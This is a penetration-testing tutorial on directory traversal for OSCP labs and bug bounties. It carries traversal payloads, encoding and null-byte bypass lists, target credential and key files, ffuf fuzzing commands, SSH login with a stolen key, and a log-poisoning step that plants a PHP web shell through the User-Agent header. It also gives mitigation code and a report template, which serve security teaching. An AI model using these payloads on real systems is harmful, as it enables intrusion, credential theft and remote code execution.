
Directory traversal — also called path traversal — is one of the simplest and most consistently found vulnerabilities in web applications. It requires no special tooling, no advanced knowledge, and in many cases just a handful of characters in a URL parameter. Yet when exploited correctly it can expose configuration files, credentials, private keys, source code, and serve as a stepping stone to full system compromise.
This guide covers how traversal works, where to find it, every major bypass technique, what files to target on different operating systems, and how to escalate the impact for maximum effect in OSCP labs and bug bounty programs.
⚠️ Ethical Reminder: Only test on systems you own or have explicit written authorisation to test. Path traversal against systems without permission is illegal under computer fraud laws in virtually every jurisdiction.
1. What is Directory Traversal?
A web application often serves files by taking user input and constructing a file path from it. When that input is not properly validated, an attacker can inject ../ sequences to walk up the directory tree and access files outside the intended directory.
A vulnerable Node.js example:
app.get('/download', (req, res) => {
const filename = req.query.file;
res.sendFile('/var/www/uploads/' + filename);
});
The developer expects requests like /download?file=report.pdf. But if an attacker sends /download?file=../../../../etc/passwd, the server constructs the path /var/www/uploads/../../../../etc/passwd which resolves to /etc/passwd.
A vulnerable PHP example:
$file = $_GET['file'];
echo file_get_contents('/var/www/docs/' . $file);
Same vulnerability, same impact. The pattern is always the same — user input is concatenated with a base path without validation.
The difference between directory traversal and LFI:
Directory traversal refers specifically to manipulating file paths to read arbitrary files. LFI (Local File Inclusion) is a PHP-specific variant where the file is executed by the PHP engine rather than just read. The techniques for finding and exploiting both overlap significantly, but traversal affects every language and framework while LFI is PHP-specific.
2. Finding Traversal Vulnerabilities
Look for any parameter that appears to reference a file, path, or resource on the server. Common parameter names that are almost always worth testing:
?file=report.pdf
?path=/docs/manual
?page=home
?template=main
?doc=invoice_123
?download=archive.zip
?view=image.png
?load=config
?dir=uploads
?folder=user_files
?resource=stylesheet.css
Also test HTTP headers that some applications use to serve files — Referer, X-Original-URL, X-Rewrite-URL, and custom headers like X-File-Path.
The basic test payload:
../../../../etc/passwd
Send it as the value of every file-referencing parameter and observe the response. You are looking for:
- The contents of
/etc/passwd appearing in the response body
- An error message that reveals the full file path the server tried to open
- A change in response size compared to a normal request
- A longer response time suggesting the server is reading a large file
💡 Pro Tip: In Burp Suite, send any request containing a file parameter to Intruder. Use a traversal wordlist from SecLists (/Fuzzing/LFI/LFI-Jhaddix.txt) and look for responses with significantly different content lengths.
3. Target Files by Operating System
Knowing which files to target after confirming traversal is what separates a proof-of-concept from a well-documented, high-impact report. Work through these systematically.
Linux High-Value Targets
| File Path | Contents | Why It Matters |
/etc/passwd | User accounts and home directories | Confirm traversal, enumerate users |
/etc/shadow | Hashed passwords | Crack offline with hashcat |
/etc/hosts | Local DNS entries | Internal network mapping |
/etc/hostname | Server hostname | Identify the machine |
/etc/os-release | OS version | Tailor further exploits |
/proc/self/environ | Environment variables | May contain secrets, API keys |
/proc/self/cmdline | Current process command | Identify running application |
/proc/self/fd/0 | Standard input descriptor | Sometimes reveals data |
/var/log/apache2/access.log | Web server access log | Log poisoning for RCE |
/var/log/nginx/access.log | Web server access log | Log poisoning for RCE |
/var/log/auth.log | SSH authentication log | Log poisoning via SSH |
~/.ssh/id_rsa | SSH private key | Direct server access |
~/.bash_history | Command history | Credentials often stored here |
/var/www/html/config.php | App config file | Database credentials |
/etc/mysql/mysql.conf.d/mysqld.cnf | MySQL config | Database credentials |
/etc/apache2/apache2.conf | Apache config | Web root path, virtual hosts |
/etc/nginx/nginx.conf | Nginx config | Web root path, upstream config |
Windows High-Value Targets
| File Path | Contents | Why It Matters |
../../../../windows/win.ini | Windows config | Classic traversal confirmation |
../../../../windows/system32/drivers/etc/hosts | Hosts file | Network information |
../../../../windows/system32/config/sam | Password hashes | Crack offline |
../../../../inetpub/wwwroot/web.config | IIS application config | DB strings, API keys |
../../../../windows/system32/license.rtf | License file | Confirm Windows version |
../../../../users/administrator/desktop/flags/proof.txt | OSCP flag | Lab objective |
../../../../program files/apache/conf/httpd.conf | Apache config | Web root, virtual hosts |
Application-Specific Files
Once you know the technology stack, target its configuration files directly:
# PHP applications
../../../../var/www/html/config.php
../../../../var/www/html/.env
../../../../var/www/html/wp-config.php (WordPress)
../../../../var/www/html/configuration.php (Joomla)
../../../../var/www/html/app/config/database.php (Laravel)
# Node.js / Express
../../../../app/config/config.json
../../../../.env
../../../../config/default.json
# Java / Tomcat
../../../../conf/tomcat-users.xml
../../../../conf/web.xml
../../../../webapps/ROOT/WEB-INF/web.xml
# Python / Django
../../../../settings.py
../../../../config/settings/production.py
4. Bypass Techniques
Basic ../../../../etc/passwd is often blocked by simple filters. Work through these bypasses systematically when the basic payload fails.
4.1 Encoding Bypasses
Many filters look for the literal string ../ but do not decode URL encoding before checking:
# Standard URL encoding
..%2F..%2F..%2Fetc%2Fpasswd
# Double URL encoding (bypass filters that decode once)
..%252F..%252F..%252Fetc%252Fpasswd
# Unicode encoding
..%c0%af..%c0%afetc%c0%afpasswd
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
# Mixed encoding
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
4.2 Slash Variations
Some filters check for / or \ but not both, or check for the sequence ../ but not variations:
# Windows backslash (also works in some Linux configurations)
..\..\..\windows\win.ini
..\..\..\/etc/passwd
# Mixed slashes
..\/..\/..\/etc/passwd
# Double slashes (some parsers collapse these differently)
....//....//....//etc/passwd
# No slash at all (when the app appends one)
..%2F..%2F..%2Fetc%2Fpasswd
4.3 Null Byte
In older PHP versions and some C-based applications, a null byte terminates the string. If the application appends a file extension, this strips it:
# Strips .php, .txt, or any suffix the app appends
../../../../etc/passwd%00
../../../../etc/passwd%00.jpg
../../../../etc/passwd%2500
4.4 Excessive Traversal
If the application strips ../ from the input, inserting extra sequences causes the filter to remove them and leave a valid traversal behind:
# Filter removes ../ once — result is still ../../../../etc/passwd
....//....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/....\/etc/passwd
4.5 Absolute Path
Some applications accept absolute paths directly if they only filter for ../ sequences:
/etc/passwd
/etc/shadow
\windows\win.ini
4.6 Path Canonicalisation Bypass
Some frameworks normalise paths before processing. Providing an absolute path with the base directory embedded can sometimes bypass path restriction checks:
# If app expects path to start with /var/www/uploads/
/var/www/uploads/../../../etc/passwd
4.7 Required Prefix Bypass
When the application checks that the path starts with a specific directory:
# Application checks: does path start with /var/www/uploads/ ?
/var/www/uploads/../../../../etc/passwd
# Some apps accept the check on just the filename portion
uploads/../../../../etc/passwd
5. Testing Methodology — Step by Step
A systematic approach prevents missed findings and makes your report reproducible.
Step 1 — Map all file-referencing parameters
Browse the entire application with Burp Suite capturing all traffic. Search the sitemap for parameters named file, path, page, doc, template, load, dir, folder, download, view, or resource.
Step 2 — Test the basic payload
../../../../etc/passwd
Send this as the value of every identified parameter. Note which ones return unexpected content or errors.
Step 3 — Confirm with a reliable file
On Linux, /etc/passwd is always readable. On Windows, windows/win.ini is always readable. Confirming with these before attempting other files proves the vulnerability cleanly.
Step 4 — Escalate the file targets
Once traversal is confirmed, work through the high-value file list for the target OS. Focus on configuration files, logs, and credentials.
Step 5 — Apply bypass techniques
If the basic payload fails, systematically work through encoding, null byte, excessive traversal, and absolute path bypasses. Keep track of which bypasses worked — this is useful for your report.
Step 6 — Attempt log poisoning if logs are readable
If you can read Apache, Nginx, or SSH logs, attempt log poisoning to escalate to RCE. See the LFI guide for the full technique.
Step 7 — Document everything
Capture the exact request and response for every successful file read. Include the parameter name, the payload used, and the file contents (or a portion of it) in your report.
6. Automated Testing with ffuf
Manual testing is essential for understanding the vulnerability, but ffuf accelerates the discovery phase significantly.
# Basic traversal fuzzing against a GET parameter
ffuf -u "http://target.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0
# Filter by response size to remove false positives
ffuf -u "http://target.com/view?doc=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 1024
# Test with encoding variations
ffuf -u "http://target.com/?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 -fs 0
# POST body fuzzing
ffuf -u "http://target.com/api/file" \
-X POST \
-d '{"filename":"FUZZ"}' \
-H "Content-Type: application/json" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
💡 Tip: Always run ffuf manually first on a few payloads to understand the normal response size. Use -fs to filter out that size and reveal genuine hits.
7. Real-World Escalation Paths
Finding /etc/passwd is a valid Medium severity finding. These escalation paths push it to High or Critical.
Escalation 1 — SSH Private Key to Shell
# Read the private key via traversal
GET /download?file=../../../../root/.ssh/id_rsa
GET /download?file=../../../../home/www-data/.ssh/id_rsa
# Use the key to SSH directly into the server
chmod 600 stolen_key.pem
ssh -i stolen_key.pem root@target.com
Escalation 2 — Config File to Database Credentials
# Read the application config
GET /view?doc=../../../../var/www/html/config.php
GET /view?doc=../../../../var/www/html/.env
# .env file often contains
DB_PASSWORD=supersecret123
AWS_SECRET_KEY=AKIAXXXXXXXXXXX
STRIPE_SECRET=sk_live_XXXXXXXX
Credentials found here can be tested against SSH, FTP, database ports, admin panels, and cloud provider consoles.
Escalation 3 — Log Poisoning to RCE
If you can read Apache or Nginx access logs via traversal:
# Step 1 — Confirm log access
GET /file?name=../../../../var/log/apache2/access.log
# Step 2 — Poison the log with PHP via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 3 — Execute commands via the poisoned log
GET /file?name=../../../../var/log/apache2/access.log&cmd=id
Escalation 4 — Source Code Disclosure to Further Vulnerabilities
Reading application source code via traversal often reveals:
- Hardcoded database credentials and API keys
- Additional injection points not visible from the front end
- Business logic that can be abused
- Internal API endpoints and their expected parameters
- Cryptographic secrets used for JWT signing or session token generation
8. Mitigation and Reporting
How to Fix Path Traversal
Validate against a whitelist — the most secure approach. Map allowed file identifiers to real paths server-side and never use user input directly as a path:
ALLOWED_FILES = {
'report': '/var/www/docs/annual_report.pdf',
'manual': '/var/www/docs/user_manual.pdf',
}
requested = request.args.get('file')
filepath = ALLOWED_FILES.get(requested)
if not filepath:
abort(404)
Canonicalise and validate the resolved path — if user-supplied paths are necessary, resolve the real path and verify it starts with the expected base directory:
import os
BASE_DIR = '/var/www/uploads'
requested = request.args.get('file')
full_path = os.path.realpath(os.path.join(BASE_DIR, requested))
if not full_path.startswith(BASE_DIR):
abort(403) # Traversal attempt detected
Never concatenate user input into file paths — treat any user-supplied string as untrusted data, regardless of source.
Bug Bounty Report Structure
Title: “Path traversal in ?file= parameter allows reading arbitrary server files including /etc/passwd and application configuration”
Steps to reproduce:
- Navigate to
http://target.com/download?file=report.pdf (normal request)
- Modify the
file parameter to ../../../../etc/passwd
- Observe that the contents of
/etc/passwd are returned in the response
Impact: An unauthenticated attacker can read any file readable by the web server process. This includes application configuration files containing database credentials, SSH private keys, and server logs. In combination with log poisoning, this vulnerability can be escalated to Remote Code Execution.
Severity: High (unauthenticated access to sensitive server files with RCE escalation path)
Remediation: Implement a server-side whitelist mapping allowed file identifiers to absolute paths. If dynamic paths are required, use os.path.realpath() to resolve the canonical path and verify it begins with the intended base directory before serving the file.
9. Quick-Reference Checklist
- Identify parameters — find every parameter that references a file, path, doc, template, or resource
- Basic test — send
../../../../etc/passwd and check response content and size
- Windows test — send
../../../../windows/win.ini on suspected Windows targets
- Confirm — verify you can reliably read a known file before moving on
- Encoding bypass — try
..%2F, ..%252F, and unicode variants if basic payload fails
- Null byte — try
../../../../etc/passwd%00 if a file extension is being appended
- Excessive traversal — try
....// and ..././ variants if ../ is being stripped
- Absolute path — try
/etc/passwd directly if traversal sequences are blocked
- Escalate file targets — read SSH keys, config files,
.env files, and logs
- Attempt log poisoning — if logs are readable, attempt RCE via User-Agent injection
- Document — capture exact request, exact payload, and file contents in screenshots